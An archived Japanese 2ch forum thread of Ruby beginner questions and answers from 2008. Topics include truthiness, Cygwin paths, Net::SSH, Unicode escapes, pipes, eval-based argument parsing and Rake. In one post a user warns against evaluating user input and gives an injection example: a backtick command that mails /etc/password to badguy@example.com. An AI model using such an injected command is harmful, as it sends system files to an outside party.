[表示 : 全て 最新50 1-99 101- 201- 301- 401- 501- 601- 701- 801- 901- 1001- 2chのread.cgiへ]
Update time : 05/09 20:58 / Filesize : 271 KB / Number-of Response : 1002
[このスレッドの書き込みを削除する]
[+板 最近立ったスレ&熱いスレ一覧 : +板 最近立ったスレ/記者別一覧] [類似スレッド一覧]


↑キャッシュ検索、類似スレ動作を修正しました、ご迷惑をお掛けしました

Ruby 初心者スレッド Part 17



1 名前:デフォルトの名無しさん [2008/01/16(水) 17:41:27 ]
プログラミング言語Rubyについての、初心者向けスレです。質問・要望・雑談などどうぞ。
関連スレやURLは>>2-7あたりを見てください。Ruby on Railsの質問はWebProg板のRailsスレで。

■質問する人へ
質問する前に次の3つをすること。ここで回答を待つよりそのほうが早い。
 ・ぐぐる
 ・マニュアルで探す www.ruby-lang.org/ja/man/
 ・FAQを読む www.ruby-lang.org/ja/man/?cmd=view;name=Ruby+FAQ
質問には以下を書くこと。へたくそな質問は再提出を要求される。
 ・詳しい内容(「動きません」「うまくできません」では回答しようがない)
 ・エラーメッセージ(なるべくそのままで)
 ・実行環境(OS名、Rubyのバージョン(ruby -v でわかる))
 ・最終的にやりたいこと(もっとよい方法がある場合が多いので)
回答してくれた人には「ありがとう」のひとことをいってあげて。

■回答する人へ
相手は初心者、根気よく育てるつもりで。質問がへたくそなのも大目にみてあげる。
それができないならこないこと(だって初心者スレだもん)。
 ・既出な質問やFAQは「XXXを読め」でいいので、叩かない&怖がらせない。
 ・わけわかな質問にもエスパー発揮で。できれば質問の仕方を教えるぐらいで。
 ・自信がない回答ならその旨表明すること。誤った回答は初心者じゃ見抜けない。

232 名前:デフォルトの名無しさん mailto:sage [2008/01/25(金) 09:15:08 ]
>>221
0が真になるのは良いとして
falseも真という意味ですよね
nilだけが偽と

233 名前:230 mailto:sage [2008/01/25(金) 09:27:04 ]
ソースに誤植がありました
× check( i , GetElementString( i , "通常" , n ) );
○ check( i , GetElementString( i , "通常ポーズ" , n ) );

234 名前:デフォルトの名無しさん mailto:sage [2008/01/25(金) 09:35:34 ]
…。全角空白混じってるしトップレベルのmainを実行してる場所がないぞ。


で、41行目の
> if( elem_name.to_s == @definition_names[i].to_s )
で、同じデータのはずなのにfalseが返ることがあるという質問でいい?

235 名前:デフォルトの名無しさん mailto:sage [2008/01/25(金) 09:37:50 ]
>>234
すみません全角混じっていましたか。
質問は全くその通りです。

236 名前:デフォルトの名無しさん mailto:sage [2008/01/25(金) 09:54:58 ]
ifにelseを追加してみる。つまりfalseのときにelem_nameと@definition_names[i]を表示させてみる
else
print "[ #{elem_name} <=> #{@definition_names[i]}] "
結果を整形してみる

[ 攻撃 <=> 通常ポーズ] [ 死亡 <=> 通常ポーズ] [ 死亡 <=> 攻撃] [ ダメージ <=> 通常ポーズ] [ ダメージ <=> 攻撃] [ ダメージ <=> 死亡]
[ 勝利 <=> 通常ポーズ] [ 勝利 <=> 攻撃] [ 勝利 <=> 死亡] [ 勝利 <=> ダメージ] [ 瀕死 <=> 通常ポーズ] [ 瀕死 <=> 攻撃]
[ 瀕死 <=> 死亡] [ 瀕死 <=> ダメージ] [ 瀕死 <=> 勝利] [ 攻撃 <=> 通常ポーズ] [ 死亡 <=> 通常ポーズ] [ 死亡 <=> 攻撃]
[ ダメージ <=> 通常ポーズ] [ ダメージ <=> 攻撃] [ ダメージ <=> 死亡] [ 勝利 <=> 通常ポーズ] [ 勝利 <=> 攻撃] [ 勝利 <=> 死亡]
[ 勝利 <=> ダメージ] [ 瀕死 <=> 通常ポーズ] [ 瀕死 <=> 攻撃] [ 瀕死 <=> 死亡] [ 瀕死 <=> ダメージ] [ 瀕死 <=> 勝利]
[ 攻撃 <=> 通常ポーズ] [ 死亡 <=> 通常ポーズ] [ 死亡 <=> 攻撃] [ ダメージ <=> 通常ポーズ] [ ダメージ <=> 攻撃] [ ダメージ <=> 死亡]
[ 勝利 <=> 通常ポーズ] [ 勝利 <=> 攻撃] [ 勝利 <=> 死亡] [ 勝利 <=> ダメージ] [ 瀕死 <=> 通常ポーズ] [ 瀕死 <=> 攻撃]
[ 瀕死 <=> 死亡] [ 瀕死 <=> ダメージ] [ 瀕死 <=> 勝利] [ 攻撃 <=> 通常ポーズ] [ 死亡 <=> 通常ポーズ] [ 死亡 <=> 攻撃]
[ ダメージ <=> 通常ポーズ] [ ダメージ <=> 攻撃] [ ダメージ <=> 死亡] [ 勝利 <=> 通常ポーズ] [ 勝利 <=> 攻撃] [ 勝利 <=> 死亡]
[ 勝利 <=> ダメージ] [ 瀕死 <=> 通常ポーズ] [ 瀕死 <=> 攻撃] [ 瀕死 <=> 死亡] [ 瀕死 <=> ダメージ] [ 瀕死 <=> 勝利]

ということで同じ文字はないよ。csvデータはUTF-8なんだけどスクリプト本体のほうはUTF-8なの?
アップロードのときにミスったんだと思ってたけど、もしこのままならスクリプトはShiftJISになってるよ

237 名前:デフォルトの名無しさん mailto:sage [2008/01/25(金) 10:38:17 ]
>>236
お手数おかけしました。
ということは、コードの問題ではなくて、環境固有の問題なのでしょうか。
実は実行環境はRPGツクールVXなのです。
こちらの環境ではelseで付け加えて値を見ると、同じ文字の組み合わせがありました。
ツクール内部で呼び出しているので、通常の環境とは異なっているのかもしれませんね。

238 名前:デフォルトの名無しさん mailto:sage [2008/01/25(金) 12:33:45 ]
すみませんが、Cygwin上でRubyをお使いの方に質問です。

ディレクトリからファイル名のリストを取得し、WIN32OLE 経由で MS-Word の
COMコンポーネントに一つずつ渡そうとしています。

Wordに与えるファイル名は絶対パスである必要があるようなので、個々のファ
イル名にFile.expand_path を適用してから渡しています。

ところが、File.expand_path の戻り値が /cygdrive/c/... や、/home/ユーザ
名 になってしまうのです。もちろん Word が必要としているのは C:\ で始ま
るパスなので、Wordがファイルを開くことができません。

File.expand_path(ファイル名).gsub(%r!^/cygdrive/c/!, "C:/").gsub(%r!/home/!, "/C:/cygwin")

とやれば何とかなりますが、どうも不恰好です。もっと良い方法はないでしょ
うか?




239 名前:デフォルトの名無しさん mailto:sage [2008/01/25(金) 12:43:09 ]
cygpath -d /cygdrive/c

240 名前:デフォルトの名無しさん mailto:sage [2008/01/25(金) 12:44:27 ]
$ cygpath -w '/cygdrive/c/program files'
c:\program files

$ cygpath -d '/cygdrive/c/program files'
c:\PROGRA~1



241 名前:デフォルトの名無しさん mailto:sage [2008/01/25(金) 12:50:17 ]
>>238
まあcygwinのシステムに乗っかってる以上根本的にはどうしようもない
WindowsアプリケーションとしてのRuby使え

C:\Documents and Settings\俺\デスクトップ\新しいフォルダ>ruby -e 'puts File.expand_path("csvloader.txt")'
C:/Documents and Settings/俺/デスクトップ/新しいフォルダ/csvloader.txt

242 名前:デフォルトの名無しさん mailto:sage [2008/01/25(金) 12:54:58 ]
>>232
>0が真になるのは良いとして
>falseも真という意味ですよね
>nilだけが偽と

うんにゃ。nilとfalseが偽と見なされる。
成功したときは数値を返し、失敗したときはnilを返す。falseは返さない。
これでいいじゃん?


243 名前:デフォルトの名無しさん mailto:sage [2008/01/25(金) 12:57:12 ]
正規表現目当てでRubyに挑戦中
str1=str2
でなく
str1=str2.dup
と書かなきゃコピーにならんとこは
わたしのような初心者にはドエライ罠だったんですけど・・・

244 名前:デフォルトの名無しさん mailto:sage [2008/01/25(金) 13:09:18 ]
>>243
「明示的な複製」が自力で必要な場面は意外と少ないんだ
データを返す組み込みクラスのメソッドの多くは結果を複製して返す
知らないとどこかで絶対に一度は嵌るが、知ってしまうと意外とそうでもない

>>242
falseは(Rubyには型としては無いけど)booleanで使うといいよね
nilはそれ以外の「空」とか「無し」とか
「失敗」をfalseにするかnilにするかは若干迷うけど、「成功」がtrueという値になると思えるならfalseだな

if文ではfalseもnilもelseに行くから深く考えなくてもいいし

245 名前:238 mailto:sage [2008/01/25(金) 13:13:23 ]
皆さん、ありがとうございます。

>>239->>240
wdoc = wordOLEObject.Documents.open `cygpath -w #{File.expand_path 'Readme'}`
こんな感じでしょうか?

これだと、今度は逆にCygwin以外のWindows環境では動きません。環境の判別法
ははないものでしょうか?
欲を言えば、分岐なしでどちらの環境でも動くならありがたいのですが。

>>241
Cygwin版のRubyと共存させるわけですか...。それも一つの手だなあ。
ActiveScriptRuby 使いたいし。
ただ、環境が安定するかどうかが不安です。


246 名前:デフォルトの名無しさん mailto:sage [2008/01/25(金) 14:03:12 ]
>>245
環境の判別はRUBY_PLATFORMで。
分岐なしで動くようにするのは無理。
強いて言えば238で自分で書いてるのが分岐なしで動くようにする方法になるのかもしれんが。

247 名前:デフォルトの名無しさん mailto:sage [2008/01/25(金) 14:05:07 ]
> 分岐なしで
どこをどう作っても内部的には分岐使ってる
気にすんな

248 名前:デフォルトの名無しさん mailto:sage [2008/01/25(金) 14:16:30 ]
最初は抵抗あるけど、サブルーチンだと割り切ってメソッドに切り分ければ
あ〜ら不思議あら不思議

249 名前:デフォルトの名無しさん mailto:sage [2008/01/25(金) 14:19:51 ]
あえてCygwin版を使うメリットって何?
Cygwin環境で閉じた使い方をする分にはパス周りのトラブルが少ないのから?

250 名前:デフォルトの名無しさん mailto:sage [2008/01/25(金) 14:22:48 ]
昔は全部Cygwinでないとどうにもならなかったんだよ
5年くらい前の話



251 名前:デフォルトの名無しさん mailto:sage [2008/01/25(金) 15:09:02 ]
>>250
つまり、今はそうでもないってこと?

252 名前:238 mailto:sage [2008/01/25(金) 15:09:49 ]
みなさん、再度ありがとうございます。

結局、通常のWindows版のRubyを入れて、絶対パスで呼び出すようにしました。
"/cygdrive/c/program Files/ruby-1.8/bin/ruby.exe" ...
これで問題なく、Cygwinからでも呼び出せました。

ただ厳密には、CygwinのコンソールでEmacs22を起動し、その中のeshellでで
す。Emacsの通常のshellモードでは、表示が少しおかしいようです。

>>246
> 分岐なしで動くようにするのは無理。
そうですか...。それは仕方ありませんね。

>>249
> あえてCygwin版を使うメリットって何?
単純に、Cygwin環境でデフォルトで呼び出されるのがそれだからです。
またPythonが、通常のWindows版はCygwin環境と相性が良くなかったのです。
(対話コンソールをCygwin環境で呼び出すと、画面に何も出ない)
だからRubyもWindows版を使うのは避けていました。

ちなみにこのやり取りも Cygwin Emacs22のNavi2chでやっております。
Linux機もあるのですが、Cygwinにはいろいろ便利なことがあるので。


253 名前:デフォルトの名無しさん mailto:sage [2008/01/25(金) 17:01:18 ]
ソースさらすなら、バグが発生する最小限のソースをうpしようよ・・・

254 名前:デフォルトの名無しさん mailto:sage [2008/01/25(金) 18:35:50 ]
>>253
一部をアップした結果「その部分だけでは分からない」と言われたんだろ?
そういうときはファイルそのものをアップしてもらった方が手っ取り早い
特に初心者には、どこがどこに影響を及ぼしてるのか、簡単には分からないんだから

255 名前:デフォルトの名無しさん mailto:sage [2008/01/25(金) 21:41:18 ]
>>252
こーゆーので我慢する、もしくは(cygwin|windows)を捨てる
def cygpath(opt,path) ; return `cygpath #{opt} #{File.expand_path(path)}` ; end
def winpath(path)
 path = File.expand_path(path)
 if RUBY_PLATFORM =~ /cygwin/ # ? cygwin 環境と一致する奴
  # return `cygpath -w #{path}`
  return path.sub(%r!^/cygdrive/(.)/!, '\1:/').sub(%r!^/home/!, 'c:/cygwin/')
 end
 return path
end

256 名前:デフォルトの名無しさん mailto:sage [2008/01/26(土) 10:14:26 ]
arr.each{|i|
 puts i
 i-=2 if gets == "prev" # 逆方向に進ませたい!
}

みたいな事やろうと思ったらwhileと自前の変数でやるしかないんですかね。


257 名前:デフォルトの名無しさん mailto:sage [2008/01/26(土) 10:18:40 ]
>>256
残念ながら、自前で書かないと出来ないですね。

# 外部イテレータが欲しい。

258 名前:デフォルトの名無しさん mailto:sage [2008/01/26(土) 10:27:29 ]
continue -2
とかできたらいいのに。

259 名前:デフォルトの名無しさん mailto:sage [2008/01/26(土) 10:27:50 ]
ああ、Ruby だと next だ。

260 名前:デフォルトの名無しさん mailto:sage [2008/01/26(土) 12:38:23 ]
>>145
遅レスだが、なんでrubydb使ってないの?
エラー行へのジャンプも普通にあるよ?
んでもって、refe.elとか使えばEmacs上でヘルプも見れる

もし、*nix環境ならfastRI入れてri-ruby.el入れるといいんじゃない?
↑はSoftware Design2月号のEmacs特集の受け売りで
俺はWin環境でMeadowだから使ってないけど



261 名前:デフォルトの名無しさん mailto:sage [2008/01/26(土) 12:42:42 ]
>>252
WSHのFileSystemObjectを使うのが常套手段
jp.rubyist.net/magazine/?0004-Win32OLE

262 名前:デフォルトの名無しさん mailto:sage [2008/01/26(土) 13:28:37 ]
Emacsの有名どころではruby-electric.elがあるがこれがまた動作が微妙
導入時は喜ばれるが1週間くらいして無言で外されることで有名

263 名前:デフォルトの名無しさん mailto:sage [2008/01/26(土) 14:52:22 ]
中括弧とdo〜endぐらいならいいんじゃない?
それぐらいなら手で打てってことかもしれんが

Meadowでxmpfilter使っている人います?
cmdproxy.exeで試したんだけど、スクリプト評価後にプロンプトや
ロゴ表示が残ってしまってションボリな感じ



264 名前:デフォルトの名無しさん [2008/01/26(土) 18:57:37 ]
Net::SSH.startで:password   => 'mypassword'としパスフレーズを指定してるのですが
実行時に"Enter password for /home/localuser/.ssh/id_rsa:"とでて入力を要求されます

#!/usr/bin/env ruby
require 'rubygems'
require 'net/ssh'

Net::SSH.start(
 '192.168.11.3',
 :username  => 'remoteuser',
 :password  => 'mypassword' ) do | session |

 session.process.popen3('echo "Hello"') do |i, o, e|
  STDOUT << o.read << "\n"
 end
end

実行時にパスフレーズを要求されないようにするにはどうのようにすればよいですか?

265 名前:デフォルトの名無しさん mailto:sage [2008/01/26(土) 20:12:24 ]
passphraseではなくpasswordなので、これはパスワード認証
のためのログインパスワードであって、秘密鍵ファイルを読むための
パスフレーズではないのでは?

でもって、
Public/private keys are always tried before the explicit password authentication, even if you provide a password.
(net-ssh.rubyforge.org/chapter-2.html)

なので、公開鍵認証が行われている、と。

パスフレーズのほうは、空にするか、ssh-agentとかにお任せすることになるのではないでしょうか。


266 名前:264 mailto:sage [2008/01/26(土) 21:59:13 ]
>>265 ありがとうございます
ssh-agent初めて知りました

267 名前:デフォルトの名無しさん mailto:sage [2008/01/26(土) 22:27:33 ]
unicodeを表すのに、Javaとかでよく使われている ¥uXXXX という表現方法がありますが
これをRubyでデコードするにはどうしたらいいですか。
つまり '¥uXXXX' からunicode文字を得たいです。

268 名前:デフォルトの名無しさん mailto:sage [2008/01/26(土) 22:34:21 ]
str.gsub(/¥¥u((?:[¥da-f]{2}){1,6})/) { [ $1.hex ].pack('U') }


269 名前:デフォルトの名無しさん mailto:sage [2008/01/26(土) 22:38:37 ]
>>267
>>268 でいいと思うけど、後ならnkfを使うかな

270 名前:デフォルトの名無しさん mailto:sage [2008/01/26(土) 22:42:46 ]
>>268
仕組みがさっぱりわからないので、参考になるページがあれば教えてください。



271 名前:デフォルトの名無しさん mailto:sage [2008/01/26(土) 22:57:30 ]
普通に定義そのまんまだな
Unicodeの解説とか読めばいいんじゃね

272 名前:デフォルトの名無しさん mailto:sage [2008/01/26(土) 23:00:34 ]
>>270
Rubyコード的には、
¥uXXXXのXXXX部分(文字列)を16進数に変換してpack('U')でUnicode文字にしてる。


273 名前:デフォルトの名無しさん mailto:sage [2008/01/26(土) 23:10:01 ]
正規表現が極力正確なマッチになるように書かれてるから難しく見えるんだと思う

274 名前:デフォルトの名無しさん mailto:sage [2008/01/26(土) 23:15:14 ]
ぶっちゃけ /¥¥u([0-9a-f]+)/ あたりのほうがみやすくて実用的かもな。


275 名前:デフォルトの名無しさん mailto:sage [2008/01/26(土) 23:19:22 ]
>>272
逐語的に訳すとこんな感じ?
"\u"より後に続く数字またはa, b, c, d, e, fの2文字の組を
1個から6個ずつまとめてから16進数に変換する

Rubyリファレンスマニュアルの正規表現のページと見比べてみりゃ
なんとなくわかるんじゃない?


276 名前:デフォルトの名無しさん mailto:sage [2008/01/26(土) 23:29:49 ]
UTF-8の変換式は6オクテットまで規定されてるけど、
Unicode文字がそこまで定義されてないから実質的には
4オクテットまで考慮すればいいみたいね。


277 名前:デフォルトの名無しさん mailto:sage [2008/01/26(土) 23:32:20 ]
この安易な判断が20年後大問題を引き起こすとは
神ならぬ>>276には思い至ることすらできなかったのであった

278 名前:デフォルトの名無しさん mailto:sage [2008/01/27(日) 00:09:27 ]
もしそうなっても、その前にUTF16連中がさらに大問題をひきおこすから大丈夫。

279 名前:デフォルトの名無しさん mailto:sage [2008/01/27(日) 00:50:46 ]
>>267
小飼が自分で作ったツールを自慢するためにBlogでRuby用のサンプルを書いてたきがする。

280 名前:デフォルトの名無しさん mailto:sage [2008/01/27(日) 10:53:26 ]
検索用の文字列をユーザーに入力させたいんですが
1. りんご  なら単純な部分一致
2. *.jpg   ならワイルドカード
3. /\d+/  なら正規表現
としたいんですが一番下は1.の/home/のようなパス指定と区別がつきません。
正規表現を表す文字列で他に一般的な表記はないんでしょうか?



281 名前:デフォルトの名無しさん mailto:sage [2008/01/27(日) 11:20:41 ]
俺なら、 '\' によるエスケープを仕様に導入して、パス指定は \/home\/ と書かせる。

282 名前:デフォルトの名無しさん mailto:sage [2008/01/27(日) 13:04:12 ]
/hoge#{`mail badguy@example.com < /etc/password`}huga/
なんてのをそのままevalしないようにね。


283 名前:デフォルトの名無しさん mailto:sage [2008/01/27(日) 13:10:01 ]
>>262
ruby-electric.el はどこがダメ?

284 名前:デフォルトの名無しさん mailto:sage [2008/01/27(日) 13:21:31 ]
>>280
「正規表現で入力する」という専用入力プロンプトあるいはオプションスイッチを作る

ユーザーが一番欲しい、一番頻繁に使うと推測される機能は1と2だろ
3は見つからないあるいは見つけにくいときに使う機能であるべき

285 名前:デフォルトの名無しさん mailto:sage [2008/01/27(日) 13:42:06 ]
俺も284に一票
guiならチェックボックスとか

>>283
デフォルトだとクォーテーションや"|"も閉じちゃうので
正規表現を書くときにウザいからじゃね?

286 名前:デフォルトの名無しさん mailto:sage [2008/01/27(日) 14:08:19 ]
>>280
エスケープ文字があるときに
正規表現オブジェクトを作るのはどう?
もちろん最初と最後の"/"は取り除いて

if inputString.include?('\\') && inputString =~ /^\/.*\/$/
 re = Regexp.new(inputString[1..-2])
 Dir.glob("*").{|fileName| print fileName if fileName =~ re}
else
 Dir.glob(inputString).{|fileName| print fileName}
end

287 名前:デフォルトの名無しさん mailto:sage [2008/01/27(日) 14:15:41 ]
>>286
エスケープ文字のない正規表現書けなくない?

288 名前:デフォルトの名無しさん mailto:sage [2008/01/27(日) 14:29:16 ]
>>286はこれを導入したことで大量な例外の処理を書かなければならなくなると思う

289 名前:286 mailto:sage [2008/01/27(日) 14:46:08 ]
自分でちょっと使ってみたけど、スゲー使いにくいw
文字列先頭の'/'、文字列最後の'/'、文字列中の'\'と暗黙なスイッチを
無駄に3つ追加してて、直感的に使えず全然ダメですわ

やっぱ、素直に284の言うとおりにした方がよいと思う

290 名前:デフォルトの名無しさん mailto:sage [2008/01/27(日) 19:41:23 ]
フィルタ系のコマンド(sortとか)に
Rubyで生成したテキストを流し込み
フィルタが処理した結果を受け取りたいでし。
どう書けば良いのでしょうか?
一旦ファイルに出力して、`sort` とかで受け取るしかないですか?



291 名前:デフォルトの名無しさん mailto:sage [2008/01/27(日) 19:53:17 ]
open('| sort', 'w'){|io| io.write("d\nc\na\nb\n") }
一度きっちりIPCとかパイプとか標準入出力とかフィルタとか調べとくと吉

その点Rubyアプリケーションプログラミングとかいいと思うんだが
まるで話題にならないのは中身が硬派すぎるからなんだろうか

292 名前:デフォルトの名無しさん mailto:sage [2008/01/27(日) 19:58:38 ]
>290
読み書き両方ならIO.popenかな。


293 名前:デフォルトの名無しさん mailto:sage [2008/01/27(日) 20:18:09 ]
>>291
あの本は読んでると眠くなる
100パーセント日本語の本なのに眠くなる理由は正直よくわからん

294 名前:デフォルトの名無しさん mailto:sage [2008/01/27(日) 20:26:59 ]
>291-292
ありがとうございました。
>291 ではフィルタの結果を出力することは出来ましたが
結果が受け取れませんでした。

そこで >292 に紹介された IO.popen を
リファレンスマニュアルの例文を元に使ってみたのですが
反応が返ってこなくなってしまい、^C しました。

コマンドプロンプトや、バッチファイル上での
パイプの使い方は知っていたのですが…
>291 さんの言う通り、もう少しパイプについて調べてみます…。

295 名前:291 mailto:sage [2008/01/27(日) 20:36:19 ]
ああ、見当違いなレスしてた。ごめん
フィルタの中身にもよるけどこれでいけると思う

open("| sort", "w+"){|io|
io.write("c\nb\na")
io.close_write()
res = io.read()
}

296 名前:デフォルトの名無しさん mailto:sage [2008/01/27(日) 20:51:10 ]
>295
ありがとうございました!
close_write() がポイントっぽいですね。

297 名前:デフォルトの名無しさん mailto:sage [2008/01/27(日) 22:57:47 ]
>>296
sort は入力を全部受け付けてからでないと処理できないっしょ
close_write で入力は終わったって知らせてやらなきゃ。


298 名前:デフォルトの名無しさん mailto:sage [2008/01/27(日) 23:12:15 ]
Array#sortじゃダメな理由は何?

299 名前:デフォルトの名無しさん mailto:sage [2008/01/27(日) 23:14:21 ]
sortは例で、実際は別のプログラムなんじゃねーの。

300 名前:デフォルトの名無しさん mailto:sage [2008/01/27(日) 23:17:25 ]
> フィルタ系のコマンド(sortとか)
に対して「Array#sort使え」というのはかなりマト外してるな

まあ、よっぽど特殊なコマンドでない限り、テキストいじりならRuby内部でなんとかなるのも事実ではあるが…



301 名前:デフォルトの名無しさん [2008/01/28(月) 02:13:27 ]
#!/usr/bin/env ruby

def main()
 eval(ARGV.join(";"))
 STDOUT << hoge << "\n"
end

if __FILE__ == $0
 main
end

みたいなshowhoge.rbを作ってshowhoge.rb "hoge=\"Hello\""を実行したのですが
Helloと表示されません。 引数をevalしてオプションを解析する手間を省きたいのですが失敗していますorz

302 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 02:31:27 ]
~$ cat syukudai.rb

require 'shellwords'
def main()
pairs = Shellwords.shellwords(ARGV.join(' '))
pairs.each do |pair|
(k,v) = pair.split(/=/)
puts "#{k}は#{v}です"
end
end

if __FILE__ == $0
main
end

~$ ruby syukudai.rb hoge="Hello" huga='World' hage=\!
hogeはHelloです
hugaはWorldです
hageは!です

ただしこれだと"や'を変数に入れることができない

303 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 02:55:17 ]
 STDOUT << hoge << "\n"
C++出身?

304 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 03:03:32 ]
evalの前に hoge = nil
もしくは@hogeに

305 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 03:16:11 ]
>>301
宿題は宿題スレへ
Rubyの宿題教えてください。2限目
pc11.2ch.net/test/read.cgi/tech/1200175247/

306 名前:デフォルトの名無しさん [2008/01/28(月) 04:02:28 ]
素直にoptparse使ったほうがいいのでは…

307 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 04:44:13 ]
>>301
エラーになる理由は↓参照
リファレンスマニュアル>Ruby 言語仕様>実行>変数と定数>ローカル変数

要するに定義されてない変数(メソッド)を使おうとしてエラーになってる
だから eval('STDOUT << hoge << "\n"') なら実行出来る

オプション解析なら >>306 の言う通り optparse 使うべき
eval にこだわるなら >>304 の様にあらかじめ変数を定義しておく

308 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 05:18:32 ]
>>301 とりあえず、
def main()
  hoge =""
  eval(ARGV.join(';'))
  STDOUT << hoge << "\n"
end

if __FILE__ == $0
  main
end

foo.rb "hoge='Hello'"

Hello は表示されるが。

def main()
  eval(ARGV.join(';') + ";" + %Q(STDOUT << hoge << "\n"))
end

if __FILE__ == $0
  main
end
これもいけた。

309 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 08:37:42 ]
optparseがめんどくさくて死ぬという話なのでは…

310 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 08:46:36 ]
Rakeで、実行するコマンドを表示させることはできますか。
例えば rm_f 'filename' とあれば、実行時にどのファイルを削除しようとしているかが表示されてほしいです。



311 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 09:47:45 ]
-v

312 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 11:07:09 ]
>>311
-vつけても表示されませんけど?

313 名前:デフォルトの名無しさん [2008/01/28(月) 17:42:26 ]
myhash = {}
myhash[:aaa] = "aaa"  #これと 
myhash["aaa"] = "aaa" #これがどう違うのか分かりません><

314 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 18:14:06 ]
>>313
キーが違う。

315 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 19:13:53 ]
RubyのHashのキーは文字列(Stringオブジェクト)でなくても構わない。

irb> h = Hash.new
irb> arr = ['レ','イ','ク']
irb> h[arr] = '配列だよ'
irb> puts h[arr]
配列だよ

前者はたまたま文字列ではないシンボルを使ってるだけの話
シンボルで設定されてるハッシュならシンボルでアクセスしないと動作しないけどな

316 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 21:28:19 ]
>>310

rm_f 'hoge', :verbose => true

全般にわたって制御する方法はねーのかな。

>>313
混乱させてしまうが、ActiveSupportというRailsの一部でもあるライブラリを
導入すると、HashWithIndifferentAccessというクラスが定義される。

myhash = {}.with_indifferent_access
のようにして作成すると、
myhash[:aaa] と myhash['aaa'] が同じモノを参照するようになる。
(実際には文字列側に正規化されている)


317 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 21:37:26 ]
Rake内部のファイル操作がFileUtilsだけを使ってるなら、
どっかでmodule FileUtils::DryRunとかすればいいんだがどうだろね

318 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 21:46:19 ]
すみません、Mac OS X上のEmacsのruby-modeを使っているのですが、
日本語を含むソースコードを保存しようとすると
「Symbol's function definition is void: coding-system-to-mime-charset」
と言われて保存できません。どなたか解決策ご存知の方いらっしゃいませんか。

319 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 21:51:15 ]
>>317
DryRunって:noop=>trueだよな。
常時ONにしたら何も実行しなくなるんじゃない?


320 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 22:03:44 ]
>>319
そりゃ、表示だけして実行はしないよ
そういうオプションだもの

表示後に実行もして欲しいかどうかはわからんのでその辺は適当に
どうせ教えてもらったのを文字通り組み込むわけじゃないだろ
該当するマニュアルとか見てから組み込むわけだし



321 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 22:07:25 ]
>>318
> Symbol's function definition is void: coding-system-to-mime-charset
なんでこれが読めないの?
Ctrl x RET f
して候補を入力しろよ

322 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 22:18:58 ]
とあるxmlがあります。具体的に言うとAmazonのECSの蔵書検索のやつ。
で、<Author>著者名</Author>とか<Publisher>出版社</Publisher>とか<Title>書名</Title>とかを20種類くらい得たいです。
しかし、xmlの構造が一定ではなくて、「<Publisher>が無い」というような抜けが稀にあります。
なので、固定の巨大な正規表現でがばっと抜き出すということができません。

#パターン1
h['Author'] = xml.scan(/<Author>(.+?)<\/Author>/).flatten
h['Publisher'] = xml.scan(/<Publisher>(.+?)<\/Publisher>/).flatten
h['Title'] = xml.scan(/<Title>(.+?)<\/Title/).flatten

#パターン2
RE = # 下の結果をあらかじめ直にコピペしたもの
# Regexp.union(/<(Author)>(.+?)<\/Author>/,/<(Publisher)>(.+?)<\/Publisher>/,/<(Title)>(.+?)<\/Title/)
xml.scan(RE).each do |a|
a.compact!
h[a[0]] = a[1]
end

どっちがメモリとかCUP時間とかの負荷少なくて済みそうですか?
ちなみにrexmlとかごっついパーサは3秒くらい止まるので候補になりませんでした

323 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 22:25:43 ]
xmlは10KB前後です
これまではパターン1でxmlを何度もscanしてきたんですが、
「10KBの文字列に何度もアクセスする」という現状にだんだん不安になってきて
「選択入りの長い正規表現で一度だけアクセスしたほうがリソース的にまだマシなんじゃ?」とか思った次第です。

324 名前:デフォルトの名無しさん [2008/01/28(月) 22:26:03 ]
ruby 1.9をインスコしたのですが,mechanizeでこけます。
対策教えて下さい。
ruby 1.9はMacOS 10.3 PPC G3です。
$ ./configure --prefix=/opt/local --program-suffix=19
checking build system type... powerpc-apple-darwin7.9.0
checking host system type... powerpc-apple-darwin7.9.0
checking target system type... powerpc-apple-darwin7.9.0
checking for gcc... gcc

$ sudo gem19 install mechanize
Password:
Building native extensions.  This could take a while...
ERROR:  Error installing mechanize:
        ERROR: Failed to build gem native extension.

/opt/local/bin/ruby19 extconf.rb install mechanize
checking for main() in -lc... yes
creating Makefile

make
gcc -I. -I/opt/local/include/ruby-1.9.0/powerpc-darwin7.9.0 -I/opt/local/include/ruby-1.9.0 -I.   -fno-common -g -O2 -pipe -fno-common   -o hpricot_scan.o -c hpricot_scan.c
ext/hpricot_scan/hpricot_scan.rl: In function `hpricot_scan':
ext/hpricot_scan/hpricot_scan.rl:172: error: structure has no member named `ptr'
ext/hpricot_scan/hpricot_scan.rl:185: error: structure has no member named `ptr'
ext/hpricot_scan/hpricot_scan.rl:185: error: structure has no member named `len'
ext/hpricot_scan/hpricot_scan.rl:186: error: structure has no member named `len'
ext/hpricot_scan/hpricot_scan.rl:202: error: structure has no member named `ptr'
make: *** [hpricot_scan.o] Error 1


Gem files will remain installed in /opt/local/lib/ruby/gems/1.9.0/gems/hpricot-0.6 for inspection.
Results logged to /opt/local/lib/ruby/gems/1.9.0/gems/hpricot-0.6/ext/hpricot_scan/gem_make.out

325 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 22:27:53 ]
>>324
> ruby 1.9をインスコした
お前にはまだ早い
即刻アンインストールして1.8.6にしろ

326 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 22:40:01 ]
>>324
どこを直していいのかわからないような初心者が1.9使っちゃダメ

「おい、1.9でhogehogeが動かないから直してやったぜ。これがパッチな」
というのが正しい使いかた。

327 名前:デフォルトの名無しさん mailto:sage [2008/01/28(月) 22:46:33 ]
